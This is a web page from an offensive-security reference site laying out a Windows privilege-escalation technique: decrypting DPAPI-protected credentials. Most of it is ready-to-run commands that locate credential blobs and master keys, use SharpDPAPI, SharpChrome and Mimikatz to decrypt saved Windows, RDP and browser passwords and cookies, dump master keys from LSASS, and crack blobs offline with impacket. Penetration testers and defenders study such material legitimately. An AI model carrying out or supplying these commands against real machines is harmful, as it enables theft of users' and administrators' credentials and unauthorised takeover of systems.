# DPAPI Credential Decryption for Privilege Escalation

> Exploits Windows DPAPI to decrypt stored credentials from browser vaults, credential manager, and user secrets for local privilege escalation.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-10

Windows Data Protection API (DPAPI) encrypts sensitive data tied to the user's logon session. DPAPI-protected data includes:

- Browser passwords (Chrome, Edge, Firefox)
- RDP saved credentials
- Application secrets and encryption keys
- WiFi PSK passwords

If you have a shell as the user who encrypted the data (or as SYSTEM), you can decrypt it without knowing the master key password. Decrypted credentials frequently belong to administrators and provide direct privilege escalation.

## Prerequisites Check

DPAPI decryption works in two scenarios:

1. **As the owning user**: DPAPI decrypts automatically using the session key
2. **As SYSTEM**: you can access the DPAPI master keys for any user

```bash
whoami
# If already running as the user whose credentials you want to decrypt = scenario 1
# If SYSTEM = scenario 2, can decrypt any user's data
```

## Finding DPAPI Credential Files

```bash
# Windows credential blobs
dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul

# DPAPI master keys
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Protect\ 2>nul

# Browser credential databases
dir /s /b "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" 2>nul
dir /s /b "C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" 2>nul
```

## SharpDPAPI: Automated Decryption

SharpDPAPI from GhostPack is the most comprehensive DPAPI tool:

**As the current user (decrypt your own credentials):**

```bash
# Decrypt all credential files
.\SharpDPAPI.exe credentials

# Decrypt browser passwords (SharpChrome, not SharpDPAPI)
.\SharpChrome.exe logins

# Decrypt all DPAPI blobs
.\SharpDPAPI.exe blob /target:C:\Users\user\AppData\Local\Microsoft\Credentials\CREDFILENAME
```

**As SYSTEM (decrypt any user's credentials):**

```bash
# Dump and decrypt everything for all users
.\SharpDPAPI.exe credentials /unprotect

# Target a specific user
.\SharpDPAPI.exe credentials /target:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\
```

Download: [https://github.com/GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI)

## Mimikatz DPAPI Decryption

```bash
# Decrypt credential files (as current user)
.\mimikatz.exe "dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\CREDFILENAME" "exit"

# With master key
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\MASTERKEYFILE /rpc" "dpapi::cred /in:CREDFILENAME" "exit"

# Decrypt all cached credentials
.\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

## Browser Password Extraction

Chrome, Edge, and Firefox store passwords encrypted with DPAPI. Use SharpChrome for browser passwords:

```bash
# Chrome and Edge passwords (SharpChrome handles both)
.\SharpChrome.exe logins

# Cookies
.\SharpChrome.exe cookies
```

Or use dedicated tools:

```bash
# SharpChrome for Chrome specifically
.\SharpChrome.exe logins
.\SharpChrome.exe cookies
```

Download: [https://github.com/GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) (includes SharpChrome)

## Extracting Master Keys from Memory (Live Session)

If the user is currently logged in, their DPAPI master keys are cached in LSASS:

```bash
# Dump master keys from LSASS (requires SeDebugPrivilege)
.\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

This outputs decrypted master keys. Use them to decrypt any DPAPI blob:

```bash
.\mimikatz.exe "dpapi::cred /in:CREDFILENAME /masterkey:MASTERKEYVALUE" "exit"
```

## RDP Saved Credentials

RDP targets saved via Windows Credential Manager are DPAPI-protected:

```bash
# List saved RDP connections
cmdkey /list | findstr /i "rdp\|mstsc\|microsoft"

# Decrypt via SharpDPAPI
.\SharpDPAPI.exe rdg

# Or use SharpDPAPI credentials targeting the RDP credential file
.\SharpDPAPI.exe credentials
```

Decrypted RDP credentials often contain domain admin passwords saved by an administrator who RDPed to this machine.

## Offline DPAPI Decryption

If you have the user's password or NT hash, you can decrypt DPAPI blobs offline without a live session:

```bash
# On attack box using impacket
impacket-dpapi masterkey -file MASTERKEYFILE -password "USERPASSWORD"

# With hash
impacket-dpapi masterkey -file MASTERKEYFILE -hash :NTHASH
```

## References

- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) - GhostPack Comprehensive DPAPI credential and master key extraction tool.
- [DPAPI](https://docs.microsoft.com/en-us/windows/win32/seccng/cng-dpapi) - Microsoft Docs Data protection architecture and master key derivation documentation.